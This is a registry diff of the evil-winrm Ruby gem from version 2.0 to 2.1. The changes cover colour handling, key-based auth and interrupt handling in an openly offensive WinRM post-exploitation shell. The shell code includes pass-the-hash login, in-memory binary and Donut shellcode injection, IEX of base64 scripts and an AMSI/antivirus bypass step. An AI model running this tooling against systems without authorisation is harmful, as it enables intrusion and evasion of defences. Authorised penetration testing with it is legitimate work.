evil-winrm 2.0 → 2.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. checksums.yaml +4 -4
  2. data/lib/evil-winrm.rb +146 -133
  3. metadata +2 -16
checksums.yaml CHANGED
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  SHA256:
3
- metadata.gz: 32e4c0b2973c2c6f242ac87ad3744cd482583ff6b005805059cbec6ebe74ae28
4
- data.tar.gz: f80125520a8722864ad78745d9078fc9ef3624bb281ab483735b783b12d1e85c
3
+ metadata.gz: 7bda0429003e0d48d8305459a866f5f3a460fc1320af0cc3446081903e239dbf
4
+ data.tar.gz: 3746f299b2733317505df1bbb729da500edca1db5175b75392e9b7b5f7192db9
5
5
  SHA512:
6
- metadata.gz: 8c4511114adfd5e3be1b11d32f0ae937534173b46b35e62430c8d8158b0ae2caa1de99696da83287bd04e748d1fb108d0722feb3df08c888cc56c47d5e8bb216
7
- data.tar.gz: 3b18bb605f2713fa30acc658cd3a15fd2026c50c58525ee43eedb0834a1297c0812ae661cb480fa22f97fb78844891cdce11b780d0dd6f8d7a9e48ba5e065664
6
+ metadata.gz: 9734fc33c8e9bd6f06269492c9207a39be730525b081164a5a70730b2c0aff90eee72b31889ffea30d03988ebeef737de1ed18c4efd82c8557b7248d3c86f607
7
+ data.tar.gz: 40bb3349b464527a142ab82eabcb5b8f3e3a2132e784a1d4d39f528b522e56f6fcec2bd8169b67b3ca1dd4d3c6a7a2499cf06a4d7f1a2a480435dc1358e1aef4
@@ -8,7 +8,6 @@
8
8
  require 'winrm'
9
9
  require 'winrm-fs'
10
10
  require 'stringio'
11
- require 'colorize'
12
11
  require 'base64'
13
12
  require 'readline'
14
13
  require 'optionparser'
@@ -18,7 +17,7 @@ require 'time'
18
17
  # Constants
19
18
 
20
19
  # Version
21
- VERSION = '2.0'
20
+ VERSION = '2.1'
22
21
 
23
22
  # Msg types
24
23
  TYPE_INFO = 0
@@ -34,7 +33,7 @@ $LISTASSEM = [''].sort
34
33
  $DONUTPARAM1 = ['-process_id']
35
34
  $DONUTPARAM2 = ['-donutfile']
36
35
 
37
- # Colors. Set this to false to disable colors
36
+ # Colors
38
37
  $colors_enabled = true
39
38
 
40
39
  # Path for ps1 scripts and exec files
@@ -70,7 +69,7 @@ class EvilWinRM
70
69
  opts.on("-U", "--url URL", "Remote url endpoint (default /wsman)") { |val| options[:url] = val }
71
70
  opts.on("-u", "--user USER", "Username (required)") { |val| options[:user] = val }
72
71
  opts.on("-p", "--password PASS", "Password") { |val| options[:password] = val }
73
- opts.on("-H", "--hash HASH", "NTLM hash") do |val|
72
+ opts.on("-H", "--hash HASH", "NTHash") do |val|
74
73
  if !options[:password].nil? and !val.nil?
75
74
  self.print_header()
76
75
  self.print_message("You must choose either password or hash auth. Both at the same time are not allowed", TYPE_ERROR)
@@ -88,6 +87,9 @@ class EvilWinRM
88
87
  puts("v#{VERSION}")
89
88
  self.custom_exit(0, false)
90
89
  end
90
+ opts.on("-n", "--no-colors", "Disable colors") do |val|
91
+ $colors_enabled = false
92
+ end
91
93
  opts.on('-h', '--help', 'Display this help message') do
92
94
  self.print_header()
93
95
  puts(opts)
@@ -98,7 +100,7 @@ class EvilWinRM
98
100
 
99
101
  begin
100
102
  optparse.parse!
101
- if options[:realm].nil? then
103
+ if options[:realm].nil? and options[:priv_key].nil? and options[:pub_key].nil? then
102
104
  mandatory = [:ip, :user]
103
105
  else
104
106
  mandatory = [:ip]
@@ -115,7 +117,7 @@ class EvilWinRM
115
117
  custom_exit(1, false)
116
118
  end
117
119
 
118
- if options[:password].nil? and options[:realm].nil?
120
+ if options[:password].nil? and options[:realm].nil? and options[:priv_key].nil? and options[:pub_key].nil?
119
121
  options[:password] = STDIN.getpass(prompt='Enter Password: ')
120
122
  end
121
123
 
@@ -390,155 +392,166 @@ class EvilWinRM
390
392
  time = Time.now.to_i
391
393
  self.print_message("Establishing connection to remote endpoint", TYPE_INFO)
392
394
  $conn.shell(:powershell) do |shell|
393
- until command == "exit" do
394
-
395
- pwd = shell.run("(get-location).path").output.strip
396
- command = Readline.readline("*Evil-WinRM*".red + " PS ".yellow + pwd + "> ", true) # True for command history
397
-
398
- if command.start_with?('upload') then
399
- if self.docker_detection() then
400
- puts()
401
- self.print_message("Remember that in docker environment all local paths should be at /data and it must be mapped correctly as a volume on docker run command", TYPE_WARNING)
395
+ begin
396
+ until command == "exit" do
397
+ pwd = shell.run("(get-location).path").output.strip
398
+ if $colors_enabled then
399
+ command = Readline.readline(self.colorize("*Evil-WinRM*", "red") + self.colorize(" PS ", "yellow") + pwd + "> ", true)
400
+ else
401
+ command = Readline.readline("*Evil-WinRM* PS " + pwd + "> ", true)
402
402
  end
403
403
 
404
- upload_command = command.tokenize
405
- command = ""
406
-
407
- if upload_command[2].to_s.empty? then
408
- upload_command[2] = "#{pwd}\\#{upload_command[1].split('/')[-1]}"
409
- elsif not upload_command[2].index ':\\'
410
- upload_command[2] = "#{pwd}\\#{upload_command[2]}"
411
- end
412
- begin
413
- self.print_message("Uploading #{upload_command[1]} to #{upload_command[2]}", TYPE_INFO)
414
- file_manager.upload(upload_command[1], upload_command[2]) do |bytes_copied, total_bytes|
415
- if bytes_copied == total_bytes then
416
- self.print_message("#{bytes_copied} bytes of #{total_bytes} bytes copied", TYPE_DATA)
417
- self.print_message("Upload successful!", TYPE_INFO)
404
+ if command.start_with?('upload') then
405
+ if self.docker_detection() then
406
+ puts()
407
+ self.print_message("Remember that in docker environment all local paths should be at /data and it must be mapped correctly as a volume on docker run command", TYPE_WARNING)
418
408
  end
419
- end
420
- rescue
421
- self.print_message("Upload failed. Check filenames or paths", TYPE_ERROR)
422
- end
423
409
 
424
- elsif command.start_with?('download') then
425
- if self.docker_detection() then
426
- puts()
427
- self.print_message("Remember that in docker environment all local paths should be at /data and it must be mapped correctly as a volume on docker run command", TYPE_WARNING)
428
- end
410
+ upload_command = command.tokenize
411
+ command = ""
429
412
 
430
- download_command = command.tokenize
431
- command = ""
432
-
433
- if not download_command[1].index ':\\' then download_command[1] = "#{pwd}\\#{download_command[1]}" end
434
-
435
- if download_command[2].to_s.empty? then download_command[2] = download_command[1].split('\\')[-1] end
436
-
437
- begin
438
- self.print_message("Downloading #{download_command[1]} to #{download_command[2]}", TYPE_INFO)
439
- file_manager.download(download_command[1], download_command[2])
440
- self.print_message("Download successful!", TYPE_INFO)
441
- rescue
442
- self.print_message("Download failed. Check filenames or paths", TYPE_ERROR)
443
- end
413
+ if upload_command[2].to_s.empty? then
414
+ upload_command[2] = "#{pwd}\\#{upload_command[1].split('/')[-1]}"
415
+ elsif not upload_command[2].index ':\\'
416
+ upload_command[2] = "#{pwd}\\#{upload_command[2]}"
417
+ end
418
+ begin
419
+ self.print_message("Uploading #{upload_command[1]} to #{upload_command[2]}", TYPE_INFO)
420
+ file_manager.upload(upload_command[1], upload_command[2]) do |bytes_copied, total_bytes|
421
+ if bytes_copied == total_bytes then
422
+ self.print_message("#{bytes_copied} bytes of #{total_bytes} bytes copied", TYPE_DATA)
423
+ self.print_message("Upload successful!", TYPE_INFO)
424
+ end
425
+ end
426
+ rescue
427
+ self.print_message("Upload failed. Check filenames or paths", TYPE_ERROR)
428
+ end
429
+ elsif command.start_with?('download') then
430
+ if self.docker_detection() then
431
+ puts()
432
+ self.print_message("Remember that in docker environment all local paths should be at /data and it must be mapped correctly as a volume on docker run command", TYPE_WARNING)
433
+ end
444
434
 
445
- elsif command.start_with?('Invoke-Binary') then
446
- begin
447
- invoke_Binary = command.tokenize
435
+ download_command = command.tokenize
448
436
  command = ""
449
- if !invoke_Binary[1].to_s.empty? then
450
- load_executable = invoke_Binary[1]
451
- load_executable = File.binread(load_executable)
452
- load_executable = Base64.strict_encode64(load_executable)
453
- if !invoke_Binary[4].to_s.empty? && invoke_Binary[5].to_s.empty?
454
- output = shell.run("Invoke-Binary " + load_executable + "," + invoke_Binary[2] + "," + invoke_Binary[3] + "," + invoke_Binary[4])
455
- elsif !invoke_Binary[3].to_s.empty? && invoke_Binary[4].to_s.empty?
456
- output = shell.run("Invoke-Binary " + load_executable + "," + invoke_Binary[2] + "," + invoke_Binary[3])
457
- elsif !invoke_Binary[2].to_s.empty? && invoke_Binary[3].to_s.empty?
458
- output = shell.run("Invoke-Binary " + load_executable + "," + invoke_Binary[2])
459
- elsif invoke_Binary[2].to_s.empty?
460
- output = shell.run("Invoke-Binary " + load_executable)
437
+
438
+ if not download_command[1].index ':\\' then download_command[1] = "#{pwd}\\#{download_command[1]}" end
439
+
440
+ if download_command[2].to_s.empty? then download_command[2] = download_command[1].split('\\')[-1] end
441
+
442
+ begin
443
+ self.print_message("Downloading #{download_command[1]} to #{download_command[2]}", TYPE_INFO)
444
+ file_manager.download(download_command[1], download_command[2])
445
+ self.print_message("Download successful!", TYPE_INFO)
446
+ rescue
447
+ self.print_message("Download failed. Check filenames or paths", TYPE_ERROR)
448
+ end
449
+
450
+ elsif command.start_with?('Invoke-Binary') then
451
+ begin
452
+ invoke_Binary = command.tokenize
453
+ command = ""
454
+ if !invoke_Binary[1].to_s.empty? then
455
+ load_executable = invoke_Binary[1]
456
+ load_executable = File.binread(load_executable)
457
+ load_executable = Base64.strict_encode64(load_executable)
458
+ if !invoke_Binary[4].to_s.empty? && invoke_Binary[5].to_s.empty?
459
+ output = shell.run("Invoke-Binary " + load_executable + "," + invoke_Binary[2] + "," + invoke_Binary[3] + "," + invoke_Binary[4])
460
+ elsif !invoke_Binary[3].to_s.empty? && invoke_Binary[4].to_s.empty?
461
+ output = shell.run("Invoke-Binary " + load_executable + "," + invoke_Binary[2] + "," + invoke_Binary[3])
462
+ elsif !invoke_Binary[2].to_s.empty? && invoke_Binary[3].to_s.empty?
463
+ output = shell.run("Invoke-Binary " + load_executable + "," + invoke_Binary[2])
464
+ elsif invoke_Binary[2].to_s.empty?
465
+ output = shell.run("Invoke-Binary " + load_executable)
466
+ end
467
+ elsif
468
+ output = shell.run("Invoke-Binary")
461
469
  end
462
- elsif
463
- output = shell.run("Invoke-Binary")
470
+ print(output.output)
471
+ rescue
472
+ self.print_message("Check filenames", TYPE_ERROR)
464
473
  end
465
- print(output.output)
466
- rescue
467
- self.print_message("Check filenames", TYPE_ERROR)
468
- end
469
474
 
470
- elsif command.start_with?('Donut-Loader') then
471
- begin
472
- donut_Loader = command.tokenize
473
- command = ""
474
- if !donut_Loader[4].to_s.empty? then
475
- pid = donut_Loader[2]
476
- load_executable = donut_Loader[4]
477
- load_executable = File.binread(load_executable)
478
- load_executable = Base64.strict_encode64(load_executable)
479
- output = shell.run("Donut-Loader -process_id #{pid} -donutfile #{load_executable}")
480
- elsif
481
- output = shell.run("Donut-Loader")
475
+ elsif command.start_with?('Donut-Loader') then
476
+ begin
477
+ donut_Loader = command.tokenize
478
+ command = ""
479
+ if !donut_Loader[4].to_s.empty? then
480
+ pid = donut_Loader[2]
481
+ load_executable = donut_Loader[4]
482
+ load_executable = File.binread(load_executable)
483
+ load_executable = Base64.strict_encode64(load_executable)
484
+ output = shell.run("Donut-Loader -process_id #{pid} -donutfile #{load_executable}")
485
+ elsif
486
+ output = shell.run("Donut-Loader")
487
+ end
488
+ print(output.output)
489
+ rescue
490
+ self.print_message("Check filenames", TYPE_ERROR)
482
491
  end
483
- print(output.output)
484
- rescue
485
- self.print_message("Check filenames", TYPE_ERROR)
486
- end
487
492
 
488
- elsif command.start_with?('services') then
489
- command = ""
490
- output = shell.run('Get-ItemProperty "registry::HKLM\System\CurrentControlSet\Services\*" | Where-Object {$_.imagepath -notmatch "system" -and $_.imagepath -ne $null } | Select-Object pschildname,imagepath | fl')
491
- print(output.output.chomp)
493
+ elsif command.start_with?('services') then
494
+ command = ""
495
+ output = shell.run('Get-ItemProperty "registry::HKLM\System\CurrentControlSet\Services\*" | Where-Object {$_.imagepath -notmatch "system" -and $_.imagepath -ne $null } | Select-Object pschildname,imagepath | fl')
496
+ print(output.output.chomp)
497
+
498
+ elsif command.start_with?(*functions) then
499
+ self.silent_warnings do
500
+ load_script = $scripts_path + command
501
+ command = ""
502
+ load_script = load_script.gsub(" ","")
503
+ load_script = File.binread(load_script)
504
+ load_script = Base64.strict_encode64(load_script)
505
+ script_split = load_script.scan(/.{1,5000}/)
506
+ script_split.each do |item|
507
+ output = shell.run("$a += '#{item}'")
508
+ end
509
+ output = shell.run("IEX ([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($a))).replace('???','')")
510
+ output = shell.run("$a = $null")
511
+ end
492
512
 
493
- elsif command.start_with?(*functions) then
494
- self.silent_warnings do
495
- load_script = $scripts_path + command
513
+ elsif command.start_with?('menu') then
496
514
  command = ""
497
- load_script = load_script.gsub(" ","")
498
- load_script = File.binread(load_script)
499
- load_script = Base64.strict_encode64(load_script)
500
- script_split = load_script.scan(/.{1,5000}/)
501
- script_split.each do |item|
502
- output = shell.run("$a += '#{item}'")
515
+ self.silent_warnings do
516
+ output = shell.run(menu)
517
+ output = shell.run("Menu")
518
+ autocomplete = shell.run("auto").output.chomp
519
+ autocomplete = autocomplete.gsub!(/\r\n?/, "\n")
520
+ assemblyautocomplete = shell.run("show-methods-loaded").output.chomp
521
+ assemblyautocomplete = assemblyautocomplete.gsub!(/\r\n?/, "\n")
522
+ if !assemblyautocomplete.to_s.empty?
523
+ $LISTASSEMNOW = assemblyautocomplete.split("\n")
524
+ $LISTASSEM = $LISTASSEM + $LISTASSEMNOW
525
+ end
526
+ $LIST2 = autocomplete.split("\n")
527
+ $LIST = $LIST + $LIST2
528
+ print(output.output)
503
529
  end
504
- output = shell.run("IEX ([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($a))).replace('???','')")
505
- output = shell.run("$a = $null")
530
+
531
+ elsif (command == "Bypass-4MSI") and (Time.now.to_i < time + 20)
532
+ puts()
533
+ self.print_message("AV could be still watching for suspicious activity. Waiting for patching...", TYPE_WARNING)
534
+ sleep(9)
506
535
  end
507
536
 
508
- elsif command.start_with?('menu') then
509
- command = ""
510
- self.silent_warnings do
511
- output = shell.run(menu)
512
- output = shell.run("Menu")
513
- autocomplete = shell.run("auto").output.chomp
514
- autocomplete = autocomplete.gsub!(/\r\n?/, "\n")
515
- assemblyautocomplete = shell.run("show-methods-loaded").output.chomp
516
- assemblyautocomplete = assemblyautocomplete.gsub!(/\r\n?/, "\n")
517
- if !assemblyautocomplete.to_s.empty?
518
- $LISTASSEMNOW = assemblyautocomplete.split("\n")
519
- $LISTASSEM = $LISTASSEM + $LISTASSEMNOW
537
+ output = shell.run(command) do |stdout, stderr|
538
+ stdout&.each_line do |line|
539
+ STDOUT.puts(line.rstrip!)
520
540
  end
521
- $LIST2 = autocomplete.split("\n")
522
- $LIST = $LIST + $LIST2
523
- print(output.output)
541
+ STDERR.print(stderr)
524
542
  end
525
-
526
- elsif (command == "Bypass-4MSI") and (Time.now.to_i < time + 20)
527
- puts()
528
- self.print_message("AV could be still watching for suspicious activity. Waiting for patching...", TYPE_WARNING)
529
- sleep(9)
530
543
  end
531
-
532
- output = shell.run(command) do |stdout, stderr|
533
- STDOUT.print(stdout)
534
- STDERR.print(stderr)
544
+ rescue Interrupt
545
+ puts("\n\n")
546
+ self.print_message("Press \"y\" to exit, press any other key to continue", TYPE_WARNING)
547
+ if STDIN.getch.downcase == "y" or STDIN.getch.downcase == "Y"
548
+ self.custom_exit(130)
549
+ else
550
+ retry
535
551
  end
536
552
  end
537
-
538
- self.custom_exit(0)
539
- end
540
- rescue SignalException
541
- self.custom_exit(130)
553
+ self.custom_exit(0)
554
+ end
542
555
  rescue SystemExit
543
556
  rescue SocketError
544
557
  self.print_message("Check your /etc/hosts file to ensure you can resolve #{$host}", TYPE_ERROR)
metadata CHANGED
@@ -1,7 +1,7 @@
1
1
  --- !ruby/object:Gem::Specification
2
2
  name: evil-winrm
3
3
  version: !ruby/object:Gem::Version
4
- version: '2.0'
4
+ version: '2.1'
5
5
  platform: ruby
6
6
  authors:
7
7
  - CyberVaca
@@ -11,7 +11,7 @@ authors:
11
11
  autorequire:
12
12
  bindir: bin
13
13
  cert_chain: []
14
- date: 2019-11-17 00:00:00.000000000 Z
14
+ date: 2020-01-14 00:00:00.000000000 Z
15
15
  dependencies:
16
16
  - !ruby/object:Gem::Dependency
17
17
  name: winrm
@@ -55,20 +55,6 @@ dependencies:
55
55
  - - ">="
56
56
  - !ruby/object:Gem::Version
57
57
  version: 0.0.2
58
- - !ruby/object:Gem::Dependency
59
- name: colorize
60
- requirement: !ruby/object:Gem::Requirement
61
- requirements:
62
- - - ">="
63
- - !ruby/object:Gem::Version
64
- version: 0.8.1
65
- type: :runtime
66
- prerelease: false
67
- version_requirements: !ruby/object:Gem::Requirement
68
- requirements:
69
- - - ">="
70
- - !ruby/object:Gem::Version
71
- version: 0.8.1
72
58
  description: The ultimate WinRM shell for hacking/pentesting
73
59
  email: oscar.alfonso.diaz@gmail.com
74
60
  executables: